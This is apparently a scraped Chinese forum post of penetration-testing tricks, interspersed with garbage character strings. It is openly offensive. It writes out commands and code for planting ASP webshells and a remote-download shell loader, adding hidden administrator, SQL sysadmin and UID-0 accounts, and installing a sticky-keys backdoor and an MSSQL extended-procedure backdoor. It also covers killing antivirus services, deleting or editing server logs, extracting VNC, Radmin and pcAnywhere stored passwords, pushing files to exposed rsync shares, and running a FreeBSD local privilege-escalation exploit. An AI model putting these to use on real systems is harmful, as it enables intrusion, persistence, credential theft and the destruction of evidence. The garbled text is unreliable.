渗透技巧总结

admin

旁站路径问题
" \3 V5 H: ?6 Y& h# Q+ ^; J# Z7 J1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

# q; _& b! o( z9 D$ U/ wMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
$ J' G. `& D; k3 g
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
. D# p; l" O/ S$ x3 Z' jEnd If
Set ObjService=GetObject
( n& l; U$ d9 _. ^2 y
("IIS://LocalHost/W3SVC")
/ v5 b' l3 t. F% v  rFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
5 x- u: R& ?, _( w         
1 L0 b- ]+ g- L2 P
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
" o! B$ k; y% ?6 V# i6 F: b$ t                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
' t  n, ^9 O; T  C/ U  W" r' `                For Each Binds In OService.ServerBindings
+ }$ {8 _2 b. u/ C' g- S: p     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
' K# p0 v2 q) e0 L                        
4 ?, h3 t: C3 x/ T1 D. o
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
* h+ n/ O0 R( A      
) h) a6 y; y! g3 h: ~
4 |3 ?3 b4 P# L% k% Y         WScript.Echo "ath            : " & VDirObj.Path
$ b; y- U7 w9 O( u- l        End If
Next
# {& `* f9 ~% W& j1 h2 i+ p复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
/ D. n$ M: {8 d( s——————————————————————
$ W2 \0 Q' m/ [3 T) `: [# ]9 cphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
) k: Y2 w& D4 K) f5 W; R# O4 X1 h( L+ UphpMyAdmin/darkblue_orange/layout.inc.php
: h' f# y9 O$ h2 U$ NphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
# A- L( K, F. O$ h9 N————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
1 D: H' A, R0 X" b  Z2 pnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
# G4 y+ X! Q1 Onetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
! P8 z  _& {& G- d8 Jnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
* W2 }$ Q# u7 V. G9 V6 a# u————————————————————
命令行下添加SQL用户的方法
/ u/ F5 ~1 q2 G8 H( d1 I: z需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
3 g$ C( P, i" z. W: A* M1 }* Aexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
1 A" S. Z" z5 h然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
3 G1 ?# x( a1 m- ^3 _3 P+ Yjs:
var o=new ActiveXObject( "Shell.Users" );
% `; }, ?8 p. {$ B* U, n. N  tz=o.create("test") ;
z.changePassword("123456","")
+ Q* w$ Y+ R9 e( ~0 [* b! y1 L8 n0 wz.setting("AccountType")=3;
  R6 R3 x9 ^, k; B# x& L. j
vbs:
Set   o=CreateObject( "Shell.Users" )
' m6 x& v6 o& q9 RSet z=o.create("test")
( z2 s) |- q) Y, O( }& E) Xz.changePassword "123456",""
) X+ ~  ?. Z5 qz.setting("AccountType")=3
——————————————————
% C$ @4 v% h% b- G9 o, l" R2 ecmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

- }7 E7 z( D4 X) g% H- }" l6 R命令如下
8 _/ q1 \' R! [cacls c: /e /t /g everyone:F           #c盘everyone权限
8 @& W: S* }. R3 @5 V: qcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
2 q' v3 _  i: s3 E  H! Fa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
& a1 G) [/ V; L& ^" L. a/ o2003 运行mstsc /console   
2 i. ~1 L: x0 v: `1 B
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
: @" R* q! z# d$ F  a) Bnet stop "Symantec AntiVirus Definition Watcher" /y
# g2 C8 M% ^; E- V: |net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
- S2 N2 D  B. s1 B& {( z6 gnet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
- |! e- R0 |2 E7 q; e, j- w————————————————————

7 C9 f& r& \' A& s9 {4 `7 z5次SHIFT：
" Z6 B, i: i! ?- zcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
! o+ H1 X0 y+ D( o; \; I$ W; [/ G——————————————————————
隐藏账号添加：
8 \  [3 C3 d$ X* S3 v$ x1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
( n/ x- V+ [9 {3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
! Z* T$ w, w# E! o- x8 Z, zMSSQL扩展后门：
USE master;
8 H; [- T% B5 B) B6 eEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
0 f( `% J: U/ f% ^, F/ d/ X日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
# Y. r% _  G# Q, @5 U: Kex011120.log / ex011121.log / ex011124.log三个文件，
/ T0 J: ~, A( x直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
5 n) c- B+ r4 b+ w3 r- b1 W用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
  ^! y: G. Y0 N; ^$ o当停止msftpsvc服务后可直接删除ex011124.log
# L. C, s$ b- l" P+ Z
MSSQL查询分析器连接记录清除：
# z) z9 {* k. ~MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
7 v% q0 N; |# R# K' L9 y: u. L找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

) n6 A* |. b/ H/ l6 t" V<%
3 g' Y8 _8 U! [2 U0 JSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
% }3 w7 E7 E- JOn Error Resume Next
1 P* k% s& C3 @Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
2 Q- o  H- o$ w, N- p.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
4 @  W& K$ E- L  C  @1 SWith Ads
.Type = 1
) T# N. f" U- f7 I8 R.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
7 A* m0 z. r; R* C.Cancel()
. R, ~) m& f% ]1 N8 x& L.Close()
* J. \1 X* P6 X) v/ X9 a8 xEnd With
' S) p* i" o& ]2 t4 uSet Ads=nothing
End Sub
" |2 e4 |+ ]+ C% K5 h! l
5 S& @( H2 C8 h& j& G; S: E1 o* ieWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
8 x% k5 o; [1 T5 k
  m) C9 T5 j; D& l. Y2 C$ u" tVNC提权方法:
" ?  y" t5 b/ l利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
& I& N" X8 E- d/ s" ?regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
: B& i7 F0 i  U2 KRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
3 u* U" n0 `9 @: ]( c然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
/ ?# z5 z: X) QUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
' u* o8 [1 c/ d7 v. V: r& m* Q搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
/ P5 }3 v& G3 Q! e/ b——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
6 R2 k8 X- c8 @9 f来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
+ A( V7 O1 }! |  j; J1 E7i24的web目录也是可写，权限为administrator。

$ n7 N  ^7 g% W8 j# o: F+ q1433 SA点构建注入点。
<%
# j7 R; b' W% y8 Y$ e2 @$ s; ustrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
- K! f" x: q* }( y8 Y% {strSQLDBPassword = "数据库密码"
9 K) [  ?( }+ C8 a" U' V) FstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
: E2 {/ {% X" }) f( mstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

" {1 T1 V* d( {' [9 YstrSQLDBName & ";"
( Q: |: r. t7 S7 q7 X# `conn.open strCon
$ C, H% \  C0 Tdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
5 R( J7 T+ s6 g- Nid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
) b5 q: t; Q) irs.close
%>
! y9 t( ]1 T% n复制代码
******liunx 相关******
一.ldap渗透技巧
" \& [: A$ n- ?8 ^1.cat /etc/nsswitch
" i) D$ t0 T1 `) s# e! s看看密码登录策略我们可以看到使用了file ldap模式
( Q6 J; c' N% V) o
2.less /etc/ldap.conf
) j+ d$ B0 j7 R, g4 s' q1 C* g2 sbase ou=People,dc=unix-center,dc=net
# X4 g4 G  x; Q& b  v8 j找到ou,dc,dc设置
3 ~4 D- j1 V& H
3.查找管理员信息
6 N- S2 x4 D8 [# S匿名方式
4 P( }! t6 b: A, z' Tldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

( U  o4 f' J  q; l# d& V, ^4 I"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

2 A/ r6 X; C/ p! b9 i+ g' _, {- m2 `"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
  }7 Y8 h7 l# A; B; F% P8 H* [! L

2 \3 Y. M3 a* E$ U! B/ p# Z4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
7 w3 V& S8 A/ p1 ~
! S* a0 M9 N7 B! M$ P/ ?9 t实战:
; N% h2 ^0 @% x. J0 v1.cat /etc/nsswitch
7 M5 ?( h! p3 l4 v+ z看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
4 f9 r' E' j1 m, w9 t/ Lbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
2 b# u  q" q0 M/ S  s
2 V" o# b" |/ p% K* x" C3 F3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* y% M: F; F9 {9 @
* h1 o$ a9 y( t; z"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
) E2 x6 s2 S9 G3 R1 `ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

! [; w# H: j# I) }% K' }' Q# Q! M2 ["cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& {7 D: j0 Y: [

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
0 T8 m$ x6 ?) R; X$ H
渗透实战:
) {1 A' O" N; g( v# N9 W3 v, n+ ~1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
: U3 l' E! i! [. V$ b3 V' }  vversion: 1
dn: dc=ruc,dc=edu,dc=cn
4 H( y% h" z) O6 o* Y- C' Idc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
/ n! G; d: W$ t9 L) W( Fuid: manager
objectClass: inetOrgPerson
9 Y$ B$ A* g1 e. n/ p2 t: a) EobjectClass: organizationalPerson
objectClass: person
objectClass: top
7 _4 F( v- r$ G6 Y0 ysn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
- X! K9 t- [& k" i7 X: G+ CobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
. {' z* o: X, ?$ [& _) LobjectClass: top
: G9 {/ i8 {7 ]2 zsn: superadmin
  i- j. Z) q( v* c# q  n/ Ocn: superadmin
1 t, K- o' v3 M4 w8 v- Q( \
7 H+ @# O3 s" `$ Udn: uid=admin,dc=ruc,dc=edu,dc=cn
" C7 G" L, t( C3 b9 S  i) D* W* B9 E" Xuid: admin
9 I5 T" g( ~( x* q4 ^. ~0 X. LobjectClass: inetOrgPerson
6 e$ Q0 g# O, h1 |0 L' RobjectClass: organizationalPerson
6 m: ]6 x) L* p  X4 g" P! `7 @% ^& HobjectClass: person
6 l2 j3 i, f: _, @& o7 ?3 C8 VobjectClass: top
sn: admin
9 _& N" r0 ^4 _7 ]8 n* T" L' Hcn: admin
" R" C; R. d* r% L
9 X* g  v- [, ~# \1 ydn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
! G3 c4 x7 X6 q- M% w& F  @2 CobjectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
3 F2 x5 b9 u& S+ }cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
* h, \& v4 H& B  B) D: Rdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

& ~' _) G7 u$ T+ h9 F5 V3.查找
$ k1 ^9 H( W4 P+ H* Ebash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
9 V' _% d' t# D  n" c8 |: A  }3 A# ~, d/ Oversion: 1
! x5 c! C+ z2 ?dn:
1 M: }; C1 l9 s& O% a" J. L! D8 N7 oobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
/ ~8 A# |1 k& e& h0 Q% W' h2 KsupportedExtension: 2.16.840.1.113730.3.5.7
- Q7 ]: L/ j+ a6 YsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
# A% R0 D" o; Y$ |/ x# X% h8 g- GsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
4 c; R( j& U; o: Y5 M% N( |supportedExtension: 2.16.840.1.113730.3.5.4
6 G' W+ Z- ?8 }% o* ~" OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
" p" Q5 _0 e7 U' t( h! u6 O7 \" LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
6 E, P; B, \" Z& W! ]$ h; d* MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
  Q# J) l8 i- B. |" X) zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
% z5 `5 C6 P) m9 z1 L, HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
/ S. @- E& u! vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
/ Y1 h9 {2 ^, \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
& G8 e  E  Y" ?! u' a8 KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
& q. }% I7 V: a( n! Q- BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
) ]" a  q- _+ r* TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
3 z% G6 I& J/ q6 h; H2 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
5 m9 A& Z) c% K/ l- B  j# y2 }supportedExtension: 1.3.6.1.4.1.1466.20037
8 E' r+ C$ \) ]% }3 g1 WsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
- D( o# F. m+ c1 P( s9 E/ OsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
) J: K# E( u! M0 s+ G  VsupportedControl: 2.16.840.1.113730.3.4.4
# F  @* o/ [! Q8 IsupportedControl: 2.16.840.1.113730.3.4.5
+ @9 S5 a) l, ^' @supportedControl: 1.2.840.113556.1.4.473
  @, q; p) i4 F3 qsupportedControl: 2.16.840.1.113730.3.4.9
  _# R4 r  w# @5 n  csupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
5 p( I/ a0 C+ \9 ^supportedControl: 2.16.840.1.113730.3.4.17
$ |) k  d5 J& `8 E% asupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
' m/ n7 ?  J$ @! L) RsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
6 x6 n0 q7 s4 d+ q4 isupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
$ S, S2 o; [6 qsupportedControl: 2.16.840.1.113730.3.4.12
% m9 y% {" f3 t! E7 K  ?3 i7 JsupportedControl: 2.16.840.1.113730.3.4.18
# p6 \- F( q  O+ T6 B6 psupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
- b9 n1 |/ \5 w4 x+ Q( SsupportedSASLMechanisms: DIGEST-MD5
7 C1 F& b6 }4 msupportedLDAPVersion: 2
" s: v5 p. p, A* w: ?supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
1 H  r+ _& _! c4 nvendorVersion: Sun-Java(tm)-System-Directory/6.2
# u& ]# O, ]) Cdataversion: 020090516011411
9 a3 r" [+ I( q0 Knetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
$ X+ O/ d; f9 i6 j& B2 DsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
7 e. F3 L7 e: e3 J6 U6 I9 TsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
% K' L' o+ C, C7 |9 gsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
2 o8 P6 N9 j8 G4 ]& FsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
5 }4 o5 l8 C% _/ B3 R: [supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
/ L3 y+ H3 B  c; r+ W  j+ O0 wsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
' \. K8 j1 P5 a& G& K  E1 h/ z4 ~- tsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
/ L9 K1 {) n8 u4 _6 s% s; b5 @2 ssupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
1 M! n  Z5 `. |, Z# G; S4 YsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
, S: V. Z" y' P5 l: _& _4 csupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
% }. U) o& M3 Y* fsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
" q( G+ g  u& p- p* z* c# H; ~! csupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
6 l& Q. ^  \. Y  R' @% QsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
! S6 A1 S1 H7 [  BsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
% s, G( }7 n8 h& X9 `3 a6 j% RsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
1 [$ h8 {1 p' r8 o" t0 j/ OsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
8 ]+ P$ Y' c$ osupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
6 n( X3 V/ l4 H7 X) \supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
$ J5 E9 X" {7 o/ D" X  U" `) p8 isupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
+ g- `  E0 n3 Z, ]! t7 esupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
# \( D/ V0 ?* \* X5 R% t+ H  R; AsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
$ T# ^$ Q1 K! z. z4 |supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
2 y% r$ D$ X  V- D& e2 ^* L9 `* }supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
" y+ |# C1 U+ W# {9 h0 gsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
9 |6 p9 @, U& L2 t" X, G4 f- CsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
- \$ I7 Q2 Q; L2 B- T; isupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
2 W, j% u0 e( U7 C; i  MsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
% M' I" u# J, X% ?2. NFS渗透技巧
# O" X- }0 u. ~showmount -e ip
列举IP
+ B3 B, B' E. D' ?1 _——————
. P+ M5 n5 f! g7 |! m9 I- D3.rsync渗透技巧
# e) u5 _$ Y* O3 M1.查看rsync服务器上的列表
rsync 210.51.X.X::
  u. b9 C1 G0 x6 J8 Ofinance
3 q% R; e) O- z4 Q) gimg_finance
9 C2 q, c( P0 o  J9 x6 r$ Tauto
img_auto
html_cms
" G% G( c  I* d; Y" Rimg_cms
* ^8 W* z; t: i: q/ W. e4 Eent_cms
ent_img
9 d* X' v( O# A6 ^* jceshi
res_img
res_img_c2
7 @6 P" T& T# E' mchip
5 Q1 B0 ~2 X4 s, C  i, Xchip_c2
ent_icms
8 n! c( n9 L" t# H4 agames
: L0 B0 @" X" U; T6 _9 r9 K' ^gamesimg
5 F4 Y' x; E7 J9 w9 j3 Ymedia
# d9 @0 z- @$ f  I% R7 m$ h" Lmediaimg
fashion
% M* a& h! c/ ~6 r" d/ `* xres-fashion
; \1 ]! C3 s9 _$ c/ E& B7 jres-fo
taobao-home
res-taobao-home
house
res-house
- ]$ [0 i, i4 V" ], @! N; ~" Ires-home
$ P! S6 k8 [% r2 I: b( y8 `res-edu
0 q6 G3 p$ L% ^8 i9 y2 M$ A" }% ores-ent
) ~3 V% @& a/ {7 T0 v9 m' Zres-labs
res-news
0 }6 b( k" G! _/ p0 l, wres-phtv
res-media
/ h- m0 o  |2 Ihome
; c8 V% b; E# ~* {  R# W0 Hedu
2 H% M6 b1 O* S# W( ]2 znews
res-book

# O4 Y- g: J; w, P' l/ `看相应的下级目录(注意一定要在目录后面添加上/)

+ U% c+ Q7 h, |  t- \  k8 H( X
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
0 }  B- k/ g" v. U8 i' ^rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

9 e# [6 z& y7 _1 d5 o: v' v3 I6 h3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
6 r1 N+ T! ^- U9 z' r. T4 Znc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
" h, i* b: g% f5 }- e五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
9 ~' N/ w" A( Q7 `
6 ?3 r0 j3 A5 w8 J6 F六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

; s9 r; p3 r2 Z15&catid=32:languages&Itemid=47

重新设置密码
' U# m( `  X; J8 a0 zindex.php?option=com_user&view=reset&layout=confirm

$ G6 T* [1 w5 l& n3 p/ I七: Linux添加UID为0的root用户
3 V7 Q: @# i6 p8 [useradd -o -u 0 nothack

' e. `9 p0 B  c八.freebsd本地提权
( _9 [  W: ^" ?  l[argp@julius ~]$ uname -rsi
3 ^6 ~: ]! e. x* freebsd 7.3-RELEASE GENERIC
1 C% o% y8 ]% `: C9 d* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
! y, J4 w  k6 {9 Q*
calling nmount()

